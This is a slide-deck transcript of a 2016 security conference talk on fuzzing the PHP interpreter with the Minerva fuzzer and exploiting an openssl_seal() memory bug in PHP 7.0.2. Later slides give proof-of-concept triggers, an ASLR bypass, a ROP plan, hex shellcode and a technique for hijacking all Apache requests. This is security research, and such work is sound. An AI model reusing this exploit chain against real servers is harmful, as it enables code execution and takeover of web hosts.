Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
Torturing the PHP interpeter
Mateusz Kocielski
m.kocielski@logicaltrust.net
LogicalTrust
Confidence
Kraków, Poland, May 2016
$ whoami
pentester at LogicalTrust as $DAYJOB
blog: http://akat1.pl, twitter: @akat1 pl
open source committer:
NetBSD - li...
The hardest part of this talk is...
source: http://blog.codinghorror.com/
...to tell you that I’m a PHP developer.
The tortures - master plan
source: http://oaklandacupunctureproject.com/wp-content/uploads/2013/12/its-easy.jpg
torture
id...
Minerva Fuzzer
fuzzer released at Month of PHP Security in 2010
dedicated to uncover bugs in PHP functions by generating v...
Minerva - 5 years later
5 years ago I talked about it at local OWASP meeting (to be
specific 4 years and 362 days ago)
we r...
Minerva algorithm - the idea
1. script ← ””
2. X ← Initial set of variables with their types
3. G ← Fresh variable generat...
Minerva algorithm - the idea - example
F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...}
X = ∅
x, y - simple types
1....
Minerva algorithm - the idea - example
F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...}
X = ∅
x, y - simple types
1....
Minerva algorithm - the idea - example
F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...}
X = ∅
x, y - simple types
1....
Minerva algorithm - the idea - example
F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...}
X = ∅
x, y - simple types
1....
Minerva algorithm - the idea - example
F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...}
X = ∅
x, y - simple types
1....
Minerva algorithm - the idea - example
F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...}
X = ∅
x, y - simple types
1....
Minerva algorithm - the idea - example
F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...}
X = ∅
x, y - simple types
1....
Minerva - example script (dummy type)
<?php
[...]
$var0 = stream_context_get_default();
$var1 = is_object($var0);
$var2 = ...
Minerva - example script (proper types)
<?php
[...]
$var0 = inet_ntop($b);
$var1 = readline_write_history();
$var2 = urlen...
Minerva - template
+-------------------+
| header | - header file (i.e. <?php)
+-------------------+
| init | - initializa...
Minerva - configuration file
main {
default_length = 100;
default_output = output.php;
init = conf/init.php;
fini = conf/fin...
Our approach:
source: http://www.jtpedals.com
we use something(tm) to cluster crashes
we use Jenkins to automate things
mo...
Tips & tricks
start with small scripts (crashes generated by large ones are likely
unreproducible)
do not stress SSD drive...
Tips & tricks
source: http://pearlsofpromiseministries.com
OpenGrok - http://lxr.php.net/
HHVM has bug bounty run by Faceb...
The results - PHP 7.x - (HEAD)
source: http://images.phpgang.com
one machine: 8 cores + 16 GB ram + SSD
5 days + 8 threads...
The results - HHVM (HEAD)
source: http://www.clipartbest.com
one machine: 8 cores + 16 GB ram + SSD
5 days + 4 threads = a...
The results - distribution of crashes
HHVM - HPHP::f dirname - heap-overflow
<?php pathinfo("x00");
HPHP::f_dirname (path=...) at
/src/hhvm/hphp/runtime/ext/std/...
PHP - error reporting - use-after-free
<?php
error_reporting(1);
$var11 = date_create_immutable();
$var16 = error_reportin...
PHP - pcntl wait/pcntl waitpid
<?php $b = 666; $c = &$b;
$var5 = pcntl_wait($b,0,$c); unset($b);
- convert_to_long_ex(z_st...
Exploiting bugs - PHP & HEAP related problems
heap overflows
use-after-free - unserialize() - CVE-2015-0273
double frees - ...
Exploiting bugs - PHP & other bugs
similary like in the other software
uninitialized memory access - sqlite array query() ...
Example - openssl seal()
in 2011 we hijacked all connections to the webserver using buffer
overflow in socket connect() -
ht...
openssl seal() - the bug - 1/2
4888 /* {{{ proto int openssl_seal(string data, &string sealdata, &
4889 Seals data */
4890...
openssl seal() - the bug - 2/2
[...]
5000 clean_exit:
5001 for (i=0; i<nkeys; i++) {
5002 if (key_resources[i] == NULL) {
...
openssl seal() - is it exploitable?
376 void EVP_PKEY_free(EVP_PKEY *x)
377 {
[...]
380 if (x == NULL)
381 return;
383 i =...
openssl seal() - our plan
1. Stage 1 (pwning PHP)
1.1 control uninitialized memory
1.2 get (or guess) pointer that will ac...
openssl seal() - RIP control
~/src/php-7.0.2/sapi/cli$ gdb ./php
(gdb) r -r ’str_repeat("A", 512); openssl_seal($_, $_, $_...
openssl seal() - RIP control
~/src/php-7.0.2/sapi/cli$ cat 2.php
<?php
$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvc...
openssl seal() - RIP control
(gdb) r 2.php
[...]
(gdb) print pkeys[i]
$1 = (EVP_PKEY *) 0x4141414141414141
openssl seal() - Memory layout
pkeys (openssl_seal())
+----------+----------+----------+----------+-----
| pkeys[0] | pkey...
openssl seal() - ASLR bypass
<?php
function get_maps() {
$fh = fopen("/proc/self/maps", "r");
$maps = fread($fh, 31337^2);...
openssl seal() - ROP
we use ROP technique to neutralise NX
we ended up using gadgets from the PHP binary
to pivot the stac...
openssl seal() - pwning PHP
~/src/php-7.0.2-test/sapi/cli$ ./php 3.php
[+] buffer string @ 0x7f00ef400014
[+] faking EVP_P...
openssl seal() - it’s so useless
source: http://www.ifunny.com
openssl seal() - hijacking apache2 requests
source: http://linuxconfig.net
Here’s what we want to do:
1. register memory th...
openssl seal() - shellcode - 1-3 steps
void
shellcode(void *(mmap_addr)(void *, size_t, int, int, int, off_t),
void *(memc...
openssl seal() - shellcode - handler
#define APR_HOOK_REALLY_FIRST (-10)
#define OK (0)
int
handler(void *r)
{
void (*ap_r...
openssl seal() - how to survive
the PHP has a mechanism that kills scripts that run for too long
which it is based on sign...
openssl seal() - pwning apache2handler
$ curl http://localhost:10080/~rj4/exp.php
[+] buffer string @ 0x7f3d66c00014
[+] f...
openssl seal() - pwning apache2handler - result
source: https://marinasleeps.files.wordpress.com/
$ curl http://localhost:1...
Why should I care?
source: http://www.badideatshirts.com/
apache2 + mod php is a quite popular configuration (more than
650...
What can I do?
source: http://cdn.quotesgram.com/
keep your software up2date
unload unnecessary extensions
do not rely on ...
Future work
port Minerva to any language → Minerva$lang
code coverage improvement
for now we ignore the fact that PHP is o...
Credits
Large parts of this presentation were done in cooperation with
Marek Kroemeke and Filip Palian, THANKS!
Some reading material
http://akat1.pl/?id=1
http://www.phpinternalsbook.com/
http://php-security.org/2010/05/11/
mops-subm...
Time for questions (and maybe answers)
Q&A
m.kocielski@logicaltrust.net
http://akat1.pl/ @akat1 pl
Torturing the PHP interpreter
Torturing the PHP interpreter
Upcoming SlideShare
Loading in …5
×

Torturing the PHP interpreter

3,387 views

Published on

Report on the trip from fuzzing the PHP interpreter, through getting code execution, to hijacking all incoming requests sent to a web server. Thoughts on torturing interpreters, tips and tricks for exploiting vulnerabilities in the PHP core and walk-through interesting bugs found (1e-65 days included)

Published in: Software
  • Be the first to comment

Torturing the PHP interpreter

  1. 1. Torturing the PHP interpeter Mateusz Kocielski m.kocielski@logicaltrust.net LogicalTrust Confidence Kraków, Poland, May 2016
  2. 2. $ whoami pentester at LogicalTrust as $DAYJOB blog: http://akat1.pl, twitter: @akat1 pl open source committer: NetBSD - libsaslc(3) & httpd(8) & security-team@ & random things... security: PHP - CVE-2010-1868, CVE-2010-1917, CVE-2010-4150, CVE-2010-4156, CVE-2011-1938, ... stunnel - CVE-2013-1762 OpenSSH - CVE-2011-0539 Apache - CVE-2014-0117, CVE-2014-0226 FreeBSD - CVE-2015-1414 NetBSD - CVE-2015-8212 ...
  3. 3. The hardest part of this talk is... source: http://blog.codinghorror.com/ ...to tell you that I’m a PHP developer.
  4. 4. The tortures - master plan source: http://oaklandacupunctureproject.com/wp-content/uploads/2013/12/its-easy.jpg torture identify bugs exploit bugs get profit repeat
  5. 5. Minerva Fuzzer fuzzer released at Month of PHP Security in 2010 dedicated to uncover bugs in PHP functions by generating valid random scripts written in Python (around 1000 loc) friendly Beerware license version from 2010 is available here: http://php-security.org/downloads/minerva-1.0.tar.bz2 at some point I’m going to release new version short paper about it: http://php-security.org/2010/05/11/ mops-submission-05-the-minerva-php-fuzzer/index.html
  6. 6. Minerva - 5 years later 5 years ago I talked about it at local OWASP meeting (to be specific 4 years and 362 days ago) we released an exploit that was capable of hijacking all requests that were sent to the Apache server ...this time we want to do it again but in the new reality (NX, ASLR’n’stuff turned on by default) we improved our fuzzing process a lot during the last few years slides in Polish: http://www.slideshare.net/logicaltrust/ 201105-owasp-fuzzing-interpretera-php
  7. 7. Minerva algorithm - the idea 1. script ← ”” 2. X ← Initial set of variables with their types 3. G ← Fresh variable generator 4. F ← Function database 5. for i in 1..n: 5.1 f ← GET RANDOM(F, X) 5.2 v ← G() 5.3 script ← script . v . ” = ” . f call with random arguments from X (but with proper types) 5.4 X ← X ∪ (v, f result type) 6. return script Erghghg... what?
  8. 8. Minerva algorithm - the idea - example F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...} X = ∅ x, y - simple types 1. v1 = A(); X = {x : {v1}} 2. v2 = B(v1, v1); X = {x : {v1, v2}} 3. v3 = C(v2); X = {x : {v1, v2}, y : {v3}} 4. v4 = D(v1, v3); X = {x : {v1, v2}, y : {v3, v4}} 5. v5 = A(); X = {x : {v1, v2, v5}, y : {v3, v4}} 6. ...repeat it until crash
  9. 9. Minerva algorithm - the idea - example F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...} X = ∅ x, y - simple types 1. v1 = A(); X = {x : {v1}} 2. v2 = B(v1, v1); X = {x : {v1, v2}} 3. v3 = C(v2); X = {x : {v1, v2}, y : {v3}} 4. v4 = D(v1, v3); X = {x : {v1, v2}, y : {v3, v4}} 5. v5 = A(); X = {x : {v1, v2, v5}, y : {v3, v4}} 6. ...repeat it until crash
  10. 10. Minerva algorithm - the idea - example F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...} X = ∅ x, y - simple types 1. v1 = A(); X = {x : {v1}} 2. v2 = B(v1, v1); X = {x : {v1, v2}} 3. v3 = C(v2); X = {x : {v1, v2}, y : {v3}} 4. v4 = D(v1, v3); X = {x : {v1, v2}, y : {v3, v4}} 5. v5 = A(); X = {x : {v1, v2, v5}, y : {v3, v4}} 6. ...repeat it until crash
  11. 11. Minerva algorithm - the idea - example F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...} X = ∅ x, y - simple types 1. v1 = A(); X = {x : {v1}} 2. v2 = B(v1, v1); X = {x : {v1, v2}} 3. v3 = C(v2); X = {x : {v1, v2}, y : {v3}} 4. v4 = D(v1, v3); X = {x : {v1, v2}, y : {v3, v4}} 5. v5 = A(); X = {x : {v1, v2, v5}, y : {v3, v4}} 6. ...repeat it until crash
  12. 12. Minerva algorithm - the idea - example F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...} X = ∅ x, y - simple types 1. v1 = A(); X = {x : {v1}} 2. v2 = B(v1, v1); X = {x : {v1, v2}} 3. v3 = C(v2); X = {x : {v1, v2}, y : {v3}} 4. v4 = D(v1, v3); X = {x : {v1, v2}, y : {v3, v4}} 5. v5 = A(); X = {x : {v1, v2, v5}, y : {v3, v4}} 6. ...repeat it until crash
  13. 13. Minerva algorithm - the idea - example F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...} X = ∅ x, y - simple types 1. v1 = A(); X = {x : {v1}} 2. v2 = B(v1, v1); X = {x : {v1, v2}} 3. v3 = C(v2); X = {x : {v1, v2}, y : {v3}} 4. v4 = D(v1, v3); X = {x : {v1, v2}, y : {v3, v4}} 5. v5 = A(); X = {x : {v1, v2, v5}, y : {v3, v4}} 6. ...repeat it until crash
  14. 14. Minerva algorithm - the idea - example F = {x = A(), x = B(x, x), y = C(x), y = D(x, y), ...} X = ∅ x, y - simple types 1. v1 = A(); X = {x : {v1}} 2. v2 = B(v1, v1); X = {x : {v1, v2}} 3. v3 = C(v2); X = {x : {v1, v2}, y : {v3}} 4. v4 = D(v1, v3); X = {x : {v1, v2}, y : {v3, v4}} 5. v5 = A(); X = {x : {v1, v2, v5}, y : {v3, v4}} 6. ...repeat it until crash
  15. 15. Minerva - example script (dummy type) <?php [...] $var0 = stream_context_get_default(); $var1 = is_object($var0); $var2 = pcntl_wait($var0,$var1); $var3 = create_function($var1,$var0); $var4 = stream_context_create(); $var5 = ftp_rawlist($var3,$var4,$var3); $var6 = is_dir($var2); $var7 = preg_filter($var4,$var3,$var5,$var3,$var2); $var8 = is_float($var7); $var9 = openssl_pkey_export_to_file($var3,$var1,$var5); [...]
  16. 16. Minerva - example script (proper types) <?php [...] $var0 = inet_ntop($b); $var1 = readline_write_history(); $var2 = urlencode($str_1); $var3 = rtrim($str_3,$str_3); $var4 = dba_handlers(); $var5 = stream_context_create(); $var6 = idate($str_3); $var7 = ftp_rawlist($var5,$var2); $var8 = ksort($var7); $var9 = use_soap_error_handler(); [...]
  17. 17. Minerva - template +-------------------+ | header | - header file (i.e. <?php) +-------------------+ | init | - initialization (variables etc.) +-------------------+ | generated script | - minerva algorithm . . . . | | +-------------------+ | fini | - destructors +-------------------+ | footer | - footer file (i.e. ?>) +-------------------+
  18. 18. Minerva - configuration file main { default_length = 100; default_output = output.php; init = conf/init.php; fini = conf/fini.php; modules = [ standard, sqlite ]; ignore_functions = [sleep, leak_variable, (...)]; } functions { standard = [ dummy zend_version(void), dummy func_num_args(void), [...] ];
  19. 19. Our approach: source: http://www.jtpedals.com we use something(tm) to cluster crashes we use Jenkins to automate things more on our thoughts about fuzzing: http://www.slideshare.net/slajdszer/fuzzing-challenges-alligatorcon
  20. 20. Tips & tricks start with small scripts (crashes generated by large ones are likely unreproducible) do not stress SSD drives you want to use Address Sanitizer (or other sanitizers) USE ZEND ALLOC = 0 - use libc allocator instead of internal one learn to automate (dedup crashes etc.) timelimit(1) is very useful!
  21. 21. Tips & tricks source: http://pearlsofpromiseministries.com OpenGrok - http://lxr.php.net/ HHVM has bug bounty run by Facebook https://github.com/facebook/hhvm PHP bugs are awarded by IBB bug bounty https://hackerone.com/ibb-php
  22. 22. The results - PHP 7.x - (HEAD) source: http://images.phpgang.com one machine: 8 cores + 16 GB ram + SSD 5 days + 8 threads = around 4 millions executions cost: arount 30 PLN = 7.5 USD 10-50 lines of code generated per test case around 4150 crashes (55 were unique): 1. unknown crash - 24 2. segmentation fault - 19 3. heap use after free - 6 4. heap buffer overflow - 4 5. stack buffer overflow - 1 6. double free - 1
  23. 23. The results - HHVM (HEAD) source: http://www.clipartbest.com one machine: 8 cores + 16 GB ram + SSD 5 days + 4 threads = around 800 thousands executions cost: arount 30 PLN = 7.5 USD 10-50 lines of code generated per test case around 956 crashes (63 were unique): 1. unknown crash - 33 2. segmentation fault - 19 3. heap-use-after-free - 6 4. heap-buffer-overflow - 5
  24. 24. The results - distribution of crashes
  25. 25. HHVM - HPHP::f dirname - heap-overflow <?php pathinfo("x00"); HPHP::f_dirname (path=...) at /src/hhvm/hphp/runtime/ext/std/ext_std_file.cpp: [...] 1870 char *buf = strndup(path.data(), path.size()); 1871 int len = FileUtil::dirname_helper(buf, path.size()); [...] ==27833==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000239e11 at pc 0x7b83c11 bp 0x7fffffffb430 sp 0x7fffffffb428 WRITE of size 1 at 0x602000239e11 thread T0 #0 0x7b83c10 in HPHP::FileUtil::dirname_helper(char*, int) /src/hhvm/hphp/runtime/base/file-util.cpp:348
  26. 26. PHP - error reporting - use-after-free <?php error_reporting(1); $var11 = date_create_immutable(); $var16 = error_reporting($var11); Log: Fixed bug #72162 (use-after-free - error_reporting) Log: Fix bug #72162 (again) Log: Revert "Fix bug #72162 (again)" ==15187== ERROR: AddressSanitizer: heap-use-after-free on address 0x600600023235 at pc 0xf89a78 bp 0x7fff001c2ec0 sp 0x7fff001c2eb8 READ of size 1 at 0x600600023235 thread T0
  27. 27. PHP - pcntl wait/pcntl waitpid <?php $b = 666; $c = &$b; $var5 = pcntl_wait($b,0,$c); unset($b); - convert_to_long_ex(z_status); - - status = Z_LVAL_P(z_status); + status = zval_get_long(z_status); array_init(z_rusage); - Z_LVAL_P(z_status) = status; + zval_dtor(z_status); + ZVAL_LONG(z_status, status); ==5772== ERROR: AddressSanitizer: SEGV on unknown address 0x0000000002a0 (pc 0x0000010d9674 sp 0x7fff2006d5a0 bp 0x7fff2006d650 T0)
  28. 28. Exploiting bugs - PHP & HEAP related problems heap overflows use-after-free - unserialize() - CVE-2015-0273 double frees - imap open() - CVE-2010-4150 5.x era allocator description - http://php-security.org/2010/05/ 07/mops-submission-03-sqlite˙single˙query-sqlite˙array˙ query-uninitialized-memory-usage/index.html#˙˙exploitation FWIW, allocator is LIFO queue usually scenario is pretty much the same: take control over zval/array memory guts
  29. 29. Exploiting bugs - PHP & other bugs similary like in the other software uninitialized memory access - sqlite array query() - http:// php-security.org/2010/05/07/mops-submission-03-sqlite˙single˙ query-sqlite˙array˙query-uninitialized-memory-usage/index.html heap is your friend (in a non-debug builds) everything with a dtor func t is your friend e.g.: 176 struct _zend_array { 177 zend_refcounted_h gc; [...] 195 dtor_func_t pDestructor; 196 }; http://lxr.php.net/xref/PHP˙7˙0/Zend/zend˙types.h#195
  30. 30. Example - openssl seal() in 2011 we hijacked all connections to the webserver using buffer overflow in socket connect() - http://seclists.org/fulldisclosure/2011/May/472 minerva found uninitialized memory usage in openssl seal(). How hard would it be to do the same in 2016? we assume to operate on Ubuntu 14.04 LTS with Apache 2.4.7 and PHP 7.0.2 (compiled manually as most distros still use 5.x branch).
  31. 31. openssl seal() - the bug - 1/2 4888 /* {{{ proto int openssl_seal(string data, &string sealdata, & 4889 Seals data */ 4890 PHP_FUNCTION(openssl_seal) 4891 { 4892 zval *pubkeys, *pubkey, *sealdata, *ekeys, *iv = NULL; [...] 4935 pkeys = safe_emalloc(nkeys, sizeof(*pkeys), 0); [...] 4942 /* get the public keys we are using to seal this data */ 4943 i = 0; 4944 ZEND_HASH_FOREACH_VAL(pubkeysht, pubkey) { 4945 pkeys[i] = php_openssl_evp_from_zval(pubkey, 1, NULL, 0, &key_resources[i]); 4946 if (pkeys[i] == NULL) { 4949 goto clean_exit; http://lxr.php.net/xref/PHP˙7˙0/ext/openssl/openssl.c
  32. 32. openssl seal() - the bug - 2/2 [...] 5000 clean_exit: 5001 for (i=0; i<nkeys; i++) { 5002 if (key_resources[i] == NULL) { 5003 EVP_PKEY_free(pkeys[i]); [...] http://lxr.php.net/xref/PHP˙7˙0/ext/openssl/openssl.c
  33. 33. openssl seal() - is it exploitable? 376 void EVP_PKEY_free(EVP_PKEY *x) 377 { [...] 380 if (x == NULL) 381 return; 383 i = CRYPTO_add(&x->references, -1, CRYPTO_LOCK_EVP_PKEY); 387 if (i > 0) 388 return; 395 EVP_PKEY_free_it(x); [...] 401 static void EVP_PKEY_free_it(EVP_PKEY *x) 402 { 403 if (x->ameth && x->ameth->pkey_free) { 404 x->ameth->pkey_free(x); [...]
  34. 34. openssl seal() - our plan 1. Stage 1 (pwning PHP) 1.1 control uninitialized memory 1.2 get (or guess) pointer that will act as a fake EVP PKEY structure 1.3 push that pointer as a value to EVP PKEY free() 1.4 basing on guesses (or leaks) build a ROP chain allowing us to execute data 1.5 execute the 2nd stage shellcode 2. Stage 2 (pwning Apache) 2.1 guess/find handlers addresses 2.2 overwrite first handler with ours evil one 2.3 get back home (do not crash apache child)
  35. 35. openssl seal() - RIP control ~/src/php-7.0.2/sapi/cli$ gdb ./php (gdb) r -r ’str_repeat("A", 512); openssl_seal($_, $_, $_, array_fill(0,64,0));’ Starting program: /home/rj4/src/php-7.0.2/sapi/cli/php -r ’str_repeat("A", 512); openssl_seal($_, $_, $_, array_fill(0,64,0));’ [...] 0x00007ffff5a3d837 in CRYPTO_add_lock () from /lib/x86_64-linux-gnu/libc[...] (gdb) x/i $rip => 0x7ffff5a3d837 <CRYPTO_add_lock+71>: add (%r12),%r13d (gdb) i r [...] r12 0x208 520 (gdb) print pkeys[i] $11 = (EVP_PKEY *) 0x200 (gdb) print pkeys[i+1] $12 = (EVP_PKEY *) 0x4141414141414141 (gdb) print pkeys[i+2] $13 = (EVP_PKEY *) 0x4141414141414141
  36. 36. openssl seal() - RIP control ~/src/php-7.0.2/sapi/cli$ cat 2.php <?php $pem = " -----BEGIN PUBLIC KEY----- MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ== -----END PUBLIC KEY-----"; /* Random RSA key */ $a = array_fill(0,64,0); $k = openssl_pkey_get_public($pem); $a[0] = $k; $a[1] = $k; $a[2] = $k; var_dump($k); str_repeat("A", 512); openssl_seal($_, $_, $_, $a); ~/src/php-7.0.2/sapi/cli$ gdb ./php [...]
  37. 37. openssl seal() - RIP control (gdb) r 2.php [...] (gdb) print pkeys[i] $1 = (EVP_PKEY *) 0x4141414141414141
  38. 38. openssl seal() - Memory layout pkeys (openssl_seal()) +----------+----------+----------+----------+----- | pkeys[0] | pkeys[1] | pkeys[2] | pkeys[3] | ... +----------+----------+----------+----------+--- | +------------------------------------+ v EVP_PKEY +------+-----------+------------+-------+----- | type | save_type | references | ameth | ... +------+-----------+------------+-------+--- | +------------------------------------+ v EVP_PKEY_ASN1_METHOD +---------+--- -+-----------+---- | pkey_id | ... | pkey_free | ... +---------+- ---+-----------+---
  39. 39. openssl seal() - ASLR bypass <?php function get_maps() { $fh = fopen("/proc/self/maps", "r"); $maps = fread($fh, 31337^2); fclose($fh); return explode("n", $maps); } [...] $pre = get_maps(); $buffer = str_repeat("x00", 0xff0000); $post = get_maps(); $tmp = array_diff($post, $pre); $tmp = explode(’-’, array_values($tmp)[0])[0]; for ($i = 0; $i < 8; $i++) $buffer[0xff + 12 + $i] = pack(’P’, $addr)[$i]; [...]
  40. 40. openssl seal() - ROP we use ROP technique to neutralise NX we ended up using gadgets from the PHP binary to pivot the stack we used the address of our controlled buffer, which luckily was on the stack then we call mprotect() and set RWX perms exploit code is here: http://akat1.pl/?id=1
  41. 41. openssl seal() - pwning PHP ~/src/php-7.0.2-test/sapi/cli$ ./php 3.php [+] buffer string @ 0x7f00ef400014 [+] faking EVP_PKEY @ 0x7f00ef400113 [+] faking ASN @ 0x7f00ef400113 [+] faking pkey_free @ 0x7f00ef4001af = a59203 [+] libc base @ 0x7f00f1540000 [+] mprotect @ 0x7f00f1634a20 [+] building ropchain [+] triggering openssl_seal(), spawning shell have phun... $
  42. 42. openssl seal() - it’s so useless source: http://www.ifunny.com
  43. 43. openssl seal() - hijacking apache2 requests source: http://linuxconfig.net Here’s what we want to do: 1. register memory that will survive subsequent requests 2. copy Apache handler code to the registered memory 3. register request handler that will be run really first 4. do something to clean the corrupted state and let Apache child process happily serve subsequent requests
  44. 44. openssl seal() - shellcode - 1-3 steps void shellcode(void *(mmap_addr)(void *, size_t, int, int, int, off_t), void *(memcpy_addr)(void *, void *, size_t), int (*ap_hook_quick_handler_addr)(void *, void *, void *, int), unsigned char *handler, size_t len) { void *handler_space; unsigned char *p; /* create space for our handler, as it needs to survive sequential * requests */ p = handler_space = mmap_addr(0, 0x2000, PROT_WRITE|PROT_EXEC|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); /* ~memcpy(3) */ while(len--) *(p++) = *(handler++); /* register new filter */ ap_hook_quick_handler_addr(handler_space, NULL, NULL, APR_HOOK_REALLY_FIRST); }
  45. 45. openssl seal() - shellcode - handler #define APR_HOOK_REALLY_FIRST (-10) #define OK (0) int handler(void *r) { void (*ap_rprintf_addr)(char *, void *) = (void *)0xdead; char content[16] = "hello world"; (ap_rprintf_addr)(r, content); return OK; }
  46. 46. openssl seal() - how to survive the PHP has a mechanism that kills scripts that run for too long which it is based on signals. if we deliver SIGPROF signal to the process, then PHP will take care of recovering our victim for us. $shellcode_stage1 = str_repeat("x90",512) . "x48xb8" . pack(’P’, $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax "x49xb8" . pack(’P’, 0x1000) . // handler size "x48xb9" . pack(’P’, $buffer_base + 0x3018) . // handler "x48xba" . pack(’P’, $ap_hook_handler_addr) . // movabs ap_hook_quick_handler, %rdx "x48xbe" . pack(’P’, 0) . // UNUSED "x48xbf" . pack(’P’, $mmap_addr) . // movabs mmap,%rdi "xffxd0" . // callq %rax "xb8x27x00x00x00" . // mov $0x27,%eax - getpid syscall "x0fx05" . // syscall "xbex1bx00x00x00" . // mov $0xd,%esi - SIGPROF "x89xc7" . // mov %eax,%edi - pid "xb8x3ex00x00x00" . // mov $0x3e,%eax - kill syscall "x0fx05"; // syscall
  47. 47. openssl seal() - pwning apache2handler $ curl http://localhost:10080/~rj4/exp.php [+] buffer string @ 0x7f3d66c00014 [+] faking EVP_PKEY @ 0x7f3d66c00113 [+] faking ASN @ 0x7f3d66c00113 [...] [+] mmap @ 0x7f3d763c49c0 [+] apache2 base @ 0x7f3d77180000 [+] ap_rprintf @ 0x7f3d771c29c0 [+] ap_hook_quick_handler @ 0x7f3d771d6c00 [+] building ropchain [+] spraying heap [+] triggering openssl_seal()... execute it a few times to infect all children
  48. 48. openssl seal() - pwning apache2handler - result source: https://marinasleeps.files.wordpress.com/ $ curl http://localhost:10080/~rj4/exp.php Hello World! $ curl http://localhost:10080/whatever Hello World!
  49. 49. Why should I care? source: http://www.badideatshirts.com/ apache2 + mod php is a quite popular configuration (more than 650 thousands servers according to shodan.io search) this attack vector can be used to bypass disabled functoins (easier methods exists, it’s just another one) running buggy software is risky there are other bugs...
  50. 50. What can I do? source: http://cdn.quotesgram.com/ keep your software up2date unload unnecessary extensions do not rely on disabled functions do not rely on open basedir do not run PHP as mod php do not trust your software
  51. 51. Future work port Minerva to any language → Minerva$lang code coverage improvement for now we ignore the fact that PHP is object-oriented language generate language constructs variables mutation test case minimization use code coverage as input to fuzzer (like in AFL or autodafe) implement type casts implement mocks for some backends ...your ideas.
  52. 52. Credits Large parts of this presentation were done in cooperation with Marek Kroemeke and Filip Palian, THANKS!
  53. 53. Some reading material http://akat1.pl/?id=1 http://www.phpinternalsbook.com/ http://php-security.org/2010/05/11/ mops-submission-05-the-minerva-php-fuzzer/index.html http://php-security.org/2010/05/07/mops-submission-03-sqlite˙ single˙query-sqlite˙array˙query-uninitialized-memory-usage/index. html http://www.inulledmyself.com/2015/02/ exploiting-memory-corruption-bugs-in.html http://lxr.php.net/
  54. 54. Time for questions (and maybe answers) Q&A m.kocielski@logicaltrust.net http://akat1.pl/ @akat1 pl

×